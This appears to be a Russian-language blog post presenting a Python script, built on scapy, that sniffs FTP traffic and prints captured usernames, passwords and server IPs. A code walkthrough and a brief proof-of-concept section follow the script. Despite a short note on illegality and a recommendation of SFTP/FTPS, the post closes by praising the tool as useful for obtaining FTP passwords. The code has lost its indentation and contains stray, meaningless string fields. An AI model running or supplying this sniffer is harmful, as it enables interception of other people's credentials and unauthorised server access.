Перехват FTP-пароля с помощью Python
Что такое FTP Credentials Sniffer?
Сниффер учетных данных FTP (File Transfer Protocol) – это инструмент, который перехватывает сетевой трафик и перехватывает учетные данные FTP (имя пользователя и пароль), используемые для аутентификации доступа к FTP-серверу.
Этот тип инструмента может быть использован в злонамеренных целях, например для кражи конфиденциальных данных, компрометации сервера или веб-сайта, а также для осуществления других кибератак.
Важно отметить, что использование FTP в качестве средства передачи данных считается небезопасным, поскольку при этом учетные данные и другая информация передаются по сети в открытом виде, что может быть легко перехвачено злоумышленниками с помощью инструментов сниффинга. Для защиты FTP-соединений рекомендуется использовать безопасные альтернативы, такие как SFTP (SSH File Transfer Protocol) или FTPS (FTP over SSL/TLS).
код: https://github.com/S12cybersecurity/FTP-Sniffer
from typing import Protocol
import sys
from scapy.layers import inet
from scapy.all import *
from scapy.layers import *
import psutil
import scapy.all as scapy
from scapy.layers import http
linea = '--------------------------------------------------'
class bcolors:
OK = '\033[92m' #GREEN
WARNING = '\033[93m' #YELLOW
ladrrr = '8GY.'
ss = 'OWQ1'
FAIL = '\033[91m' #RED
pinocho_chocho = 'y!c'
RESET = '\033[0m' #RESET COLOR
def ftp_creds(p_ftp):
if p_ftp[TCP].dport == 21:
data = p_ftp.sprintf("%Raw.load%")
if "USER" in data:
global ip_ftp
global ip_ftp2
ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'"
print(ip_ftp)
global user_ftp
data = data.split(" ")
data = data[1]
global user_ftp2
user_ftp = "'User: ", data, "'"
print(user_ftp)
elif "PASS" in data:
data = data.split(" ")
data = data[1]
global passwd_ftp
global passwd_ftp2
passwd_ftp = "'PASSWORD: ", data,"'"
print(passwd_ftp)
print(linea)
global ftp_ip_final
global user_ftp_final
def ftp():
print(linea)
print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}")
addrs = psutil.net_if_addrs()
cc = str(addrs.keys())
interfaces = print(cc[9:])
bb = input("Choose Interface to use: ")
xs = 0
if bb in cc:
try:
while xs>=0:
print(linea)
print(f"{bcolors.WARNING}Searching...{bcolors.RESET}")
ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds)
except KeyboardInterrupt:
print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}")
print(linea)
global ftphost
global ftpuser
global ftpass
ftp()
Данный код представляет собой скрипт на языке Python, выполняющий сниффинг пакетов FTP (File Transfer Protocol) с целью извлечения информации об имени пользователя и пароле.
Скрипт начинается с импорта нескольких модулей, включая Protocol из библиотеки typing, sys, inet из scapy.layers, scapy.all и http из scapy.layers. Также определяется пользовательский класс bcolors, используемых для вывода информации на терминал.
Далее определяется функция ftp_creds, которая принимает параметр p_ftp, представляющий собой перехваченный FTP-пакет. Если порт назначения пакета равен 21 (FTP-порт по умолчанию), то функция извлекает исходные данные пакета, а если в этих данных содержится команда “USER” или “PASS”, то извлекается соответствующее имя пользователя или пароль соответственно. Эти значения сохраняются в глобальных переменных и выводятся на терминал.
Далее определяется функция ftp. Она выводит на терминал некоторые инструкции и предлагает пользователю выбрать сетевой интерфейс, который будет использоваться для прослушивания пакетов. Затем функция запускает бесконечный цикл, в котором с помощью функции Scapy’s sniff перехватывает FTP-пакеты на выбранном интерфейсе. Каждый пакет передается в функцию ftp_creds для извлечения информации об имени пользователя и пароле. Если пользователь прерывает цикл нажатием клавиш Ctrl+C, то функция печатает сообщение на терминал.
Наконец, вызывается функция ftp для запуска процесса анализа пакетов.
Следует отметить, что код не выполняет никакой аутентификации на FTP-сервере и не пытается войти в какую-либо учетную запись FTP. Он просто перехватывает все FTP-пакеты на выбранном интерфейсе и извлекает необходимую информацию. Кроме того, перехват учетных данных FTP без разрешения владельца обычно считается неэтичным и незаконным.
POC
Давайте выполним эту программу, прежде всего она перечисляет, какой сетевой интерфейс нужно использовать для прослушивания FTP, а затем начинает прослушивание:
И теперь доступ к нему открыт! В данном случае используется анонимный пользователь, поэтому пароль не используется.
Все работает!
Выводы
Это все, что касается данного инструмента, он очень прост в использовании и очень полезен для подбора паролей к FTP-соединениям!